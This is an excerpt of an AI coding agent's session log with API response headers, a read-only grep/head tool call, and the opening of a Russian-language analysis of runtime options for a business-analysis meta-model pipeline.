\"2026-09-29T07:46:31.961Z\",\n[2026-09-29T07:46:31.977Z] [INFO]   \"request_id\": \"req_011CfXMqRqeXnqkkEEUB9N7y\",\n[2026-09-29T07:46:31.977Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:31.977Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:31.977Z] [INFO] }\n[2026-09-29T07:46:31.991Z] [INFO] {\n[2026-09-29T07:46:31.991Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:31.991Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:46:31.991Z] [INFO]   \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:46:31.991Z] [INFO]   \"tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:31.991Z] [INFO]   \"description\": \"Running Read runtime options doc head\",\n[2026-09-29T07:46:31.991Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:31.991Z] [INFO]   \"usage\": {\n[2026-09-29T07:46:31.991Z] [INFO]     \"total_tokens\": 97524,\n[2026-09-29T07:46:31.991Z] [INFO]     \"tool_uses\": 29,\n[2026-09-29T07:46:31.991Z] [INFO]     \"duration_ms\": 122692\n[2026-09-29T07:46:31.991Z] [INFO]   },\n[2026-09-29T07:46:31.991Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:46:31.991Z] [INFO]   \"uuid\": \"3ace4bc3-2272-4b60-bb73-26a0863e5b31\",\n[2026-09-29T07:46:31.991Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:46:31.991Z] [INFO] }\n[2026-09-29T07:46:32.022Z] [STDOUT] [log_a5a6cf, request-id: \"req_011CfXMqe7pqmcgzYGGdD6ES\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 996ms\n[2026-09-29T07:46:32.027Z] [STDOUT] [log_a5a6cf] response start {\n[2026-09-29T07:46:32.035Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:32.043Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:32.047Z] [STDOUT]   headers: {\n[2026-09-29T07:46:32.049Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:32.052Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:32.055Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:32.059Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:32.062Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:32.066Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:32.070Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:32.079Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:32.089Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:32.093Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:32.103Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:32.109Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:32.114Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:32.118Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:32.126Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:32.131Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:32.135Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:32.140Z] [STDOUT]     \"cf-ray\": \"a4295fdff8164d8b-FRA\",\n[2026-09-29T07:46:32.143Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:32.146Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:32.153Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:32.157Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:32.163Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:31 GMT\",\n[2026-09-29T07:46:32.171Z] [STDOUT]     \"request-id\": \"req_011CfXMqe7pqmcgzYGGdD6ES\",\n[2026-09-29T07:46:32.177Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:32.182Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:32.186Z] [STDOUT]     traceresponse: \"00-d6f91a1c8ca18f737aba6915aab400b0-fafe805587f6ce65-01\",\n[2026-09-29T07:46:32.195Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:32.201Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:32.217Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:32.227Z] [STDOUT]   },\n[2026-09-29T07:46:32.244Z] [STDOUT]   durationMs: 996,\n[2026-09-29T07:46:32.254Z] [STDOUT] }\n[2026-09-29T07:46:32.270Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:32.273Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:31 GMT\",\n[2026-09-29T07:46:32.282Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:32.294Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:32.305Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:32.310Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:32.315Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:32.321Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:32.324Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:32.329Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:32.333Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:32.347Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:32.433Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:32.449Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:32.468Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:32.474Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:32.483Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:32.489Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:32.496Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:32.500Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:32.508Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:32.512Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:32.523Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:32.528Z] [STDOUT]   \"request-id\": \"req_011CfXMqe7pqmcgzYGGdD6ES\",\n[2026-09-29T07:46:32.530Z] [STDOUT]   \"traceresponse\": \"00-d6f91a1c8ca18f737aba6915aab400b0-fafe805587f6ce65-01\",\n[2026-09-29T07:46:32.549Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:32.568Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:32.578Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:32.584Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:32.597Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:32.607Z] [STDOUT]   \"cf-ray\": \"a4295fdff8164d8b-FRA\",\n[2026-09-29T07:46:32.612Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:32.619Z] [STDOUT] [log_a5a6cf] response parsed {\n[2026-09-29T07:46:32.622Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:32.628Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:32.632Z] [STDOUT]   body: X {\n[2026-09-29T07:46:32.639Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:32.648Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:32.652Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:32.665Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:32.675Z] [STDOUT]     },\n[2026-09-29T07:46:32.693Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:32.710Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:32.740Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:32.755Z] [STDOUT]   },\n[2026-09-29T07:46:32.766Z] [STDOUT]   durationMs: 997,\n[2026-09-29T07:46:32.771Z] [STDOUT] }\n[2026-09-29T07:46:32.778Z] [INFO] {\n[2026-09-29T07:46:32.778Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:32.778Z] [INFO]   \"message\": {\n[2026-09-29T07:46:32.778Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:32.778Z] [INFO]     \"id\": \"msg_011CfXMqbMt1iJxP7E3njG1m\",\n[2026-09-29T07:46:32.778Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:32.778Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:32.778Z] [INFO]     \"content\": [\n[2026-09-29T07:46:32.778Z] [INFO]       {\n[2026-09-29T07:46:32.778Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:46:32.778Z] [INFO]         \"id\": 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{\n[2026-09-29T07:46:33.325Z] [INFO]     \"toolu_01M4jAFx9qrtRpxzhWwNZqoW\": {\n[2026-09-29T07:46:33.325Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; grep -n \\\"type\\\\|temperature\\\\|status\\\" tools/validate-frontmatter.sh | head -40; head -30 projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\",\n[2026-09-29T07:46:33.325Z] [INFO]       \"description\": \"Check frontmatter rules and example\"\n[2026-09-29T07:46:33.325Z] [INFO]     }\n[2026-09-29T07:46:33.325Z] [INFO]   }\n[2026-09-29T07:46:33.325Z] [INFO] }\n[2026-09-29T07:46:33.860Z] [INFO] {\n[2026-09-29T07:46:33.860Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:33.860Z] [INFO]   \"message\": {\n[2026-09-29T07:46:33.860Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:33.860Z] [INFO]     \"content\": [\n[2026-09-29T07:46:33.860Z] [INFO]       {\n[2026-09-29T07:46:33.860Z] [INFO]         \"tool_use_id\": \"toolu_01E2WbdYSobpTFSLYiaZvxeN\",\n[2026-09-29T07:46:33.860Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:33.860Z] [INFO]         \"content\": \"-rw-r--r-- 1 box box 77050 Sep 29 07:43 projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\n19:# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b: \u043a\u0430\u043a \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\\n33:## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\n73:## \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043e\u0445\u0432\u0430\u0442\\n96:## \u041c\u0435\u0442\u043e\u0434\\n126:## \u0421\u043b\u043e\u0439 1. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c: \u0447\u0442\u043e \u043e\u043d\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442 \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n149:## \u0421\u043b\u043e\u0439 2. \u0421\u0440\u0435\u0434\u044b: \u043a\u0442\u043e \u043a\u0430\u043a\u0443\u044e \u0440\u043e\u043b\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n170:## \u0421\u043b\u043e\u0439 3. \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\\n172:### \u041f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440 \u043f\u0440\u0435\u0436\u043d\u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439\\n203:### \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432\\n234:## \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\\n243:### \u0415. \u0421\u043b\u043e\u0439 1: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0435\u0451 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n259:### \u0416. \u0421\u043b\u043e\u0439 2: \u0441\u0440\u0435\u0434\u044b (\u0430\u0433\u0435\u043d\u0442, \u043a\u043b\u0438\u0435\u043d\u0442, \u043c\u043e\u0434\u0435\u043b\u044c, \u0447\u0435\u043b\u043e\u0432\u0435\u043a)\\n271:### \u0417. \u0421\u043b\u043e\u0439 3: \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\\n287:## \u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0445\u0435\u043c\u0430\\n310:## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1: \u0440\u0430\u0431\u043e\u0447\u0435\u0435 \u043c\u0435\u0441\u0442\u043e \u0411\u0410\\n340:## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2: \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 4\\n374:## \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0438 \u0438\u0445 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f\\n386:## \u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u0430\u044e\u0449\u0438\u0435 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430\\n408:## \u041a\u043e\u0440\u043d\u0435\u0432\u044b\u0435 \u043f\u0440\u0438\u0447\u0438\u043d\u044b: \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\\n426:## \u041a\u0430\u043a \u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443: \u0432\u044b\u0431\u043e\u0440 \u0441\u0440\u0435\u0434\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\\n450:## \u0412\u044b\u0432\u043e\u0434: \u0432\u0435\u043a\u0442\u043e\u0440 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0438 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435\\n467:## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u0431\u044d\u043a\u043b\u043e\u0433\u0430\\n486:## \u0412\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435\\n499:## Related Artifacts\\n---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.1\\ntype: analysis\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b: \u043a\u0430\u043a \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\\n\\n\u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u0430\u0443\u0434\u0438\u0442\\n[issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639)\\n\u043f\u043e [\u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620):\\nCline \u0432 \u0437\u0430\u0434\u0430\u0447\u0435 \u0431\u044b\u043b \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u043c, \u0430 \u043d\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439. \u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u2014 Source\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0435\u0451 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0434\u043b\u044f\\n\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432. \u041f\u0443\u0442\u044c \u0440\u0430\u0437\u0431\u043e\u0440\u0430: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b (\u0430\u0433\u0435\u043d\u0442,\\n\u043a\u043b\u0438\u0435\u043d\u0442, \u043c\u043e\u0434\u0435\u043b\u044c, \u0447\u0435\u043b\u043e\u0432\u0435\u043a) \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430.\\n\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0430\u0443\u0434\u0438\u0442\u0430 \u2014 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u0430\u043a\u0435\u0442\u0430 Cline, \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0413-01\u2026\u0413-25 \u2014 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\\n\u0441\u0438\u043b\u0435 \u043a\u0430\u043a \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b:\\n[\u00ab\u0420\u0430\u0437\u0440\u044b\u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: \u043f\u0430\u043a\u0435\u0442 Cline VS Code\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n\u0417\u0434\u0435\u0441\u044c \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044e \u0441 \u0413-26.\\n\\n## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\n\\n**\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0440\u0430\u0437\u0440\u044b\u0432 \u043b\u0435\u0436\u0438\u0442 \u043d\u0435 \u0432 Cline \u0438 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438: \u0443 \u0440\u043e\u043b\u0438\\n\u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f.** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043f\u043e\u0440\u0443\u0447\u0430\u0435\u0442 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0443 \u0447\u0438\u0442\u0430\u0442\u044c\\n\u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u043d\u043e \u0441\u0440\u0435\u0434\u0438 \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439\\n\u0435\u0433\u043e \u043d\u0435\u0442, \u0430 `Actor` \u2014 \u044d\u0442\u043e \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a ([\u0413-26](#\u0433-26)). \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\\n\u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u0443 \u0440\u043e\u043b\u044c \u043c\u043e\u043b\u0447\u0430 \u0432\u0437\u044f\u043b \u043d\u0430 \u0441\u0435\u0431\u044f \u043a\u0442\u043e-\u0442\u043e \u0434\u0440\u0443\u0433\u043e\u0439: \u0432 GigaCode CLI \u2014\\n\u0440\u0443\u043a\u0438 \u0411\u0410, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430; \u0432 Cline \u2014 \u043c\u043e\u0434\u0435\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f\\n\u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u0430\u0432\u0438\u043b. \u041e\u0442\u0441\u044e\u0434\u0430 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u044b: \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0437 YAML\\n\u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f ([\u0413-28](#\u0433-28)), \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0448\u0430\u0433\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435\\n\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0448\u0430\u0433\u0430 ([\u0413-29](#\u0433-29)), \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f\\n\u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 ([\u0413-31](#\u0433-31)), \u0430 \u043e\u0434\u043d\u0430 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0430 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u043d\u0430\u0432\u0441\u0435\u0433\u0434\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442\\n\u0437\u0430\u0434\u0430\u0447\u0443 ([\u0413-32](#\u0433-32)).\\n\\n**\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u2014 \u0434\u0432\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430 \u043e\u0434\u043d\u043e\u043c \u044f\u0434\u0440\u0435.**\\n\\n1. **\u0420\u0430\u0431\u043e\u0447\u0435\u0435 \u043c\u0435\u0441\u0442\u043e \u0411\u0410 (\u0441\u0440\u0435\u0434\u044b 1 \u0438 2).** \u041f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u0442\u044c `tools/run-task` \u0438\u0437\\n   \u043f\u0440\u0438\u0432\u0440\u0430\u0442\u043d\u0438\u043a\u0430 \u0432 \u0432\u0435\u0434\u0443\u0449\u0435\u0433\u043e: runner \u0441\u0430\u043c \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444 \u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0438\u0437 Source,\\n   \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430, \u0443\u043c\u0435\u0435\u0442 \u0436\u0434\u0430\u0442\u044c \u0438 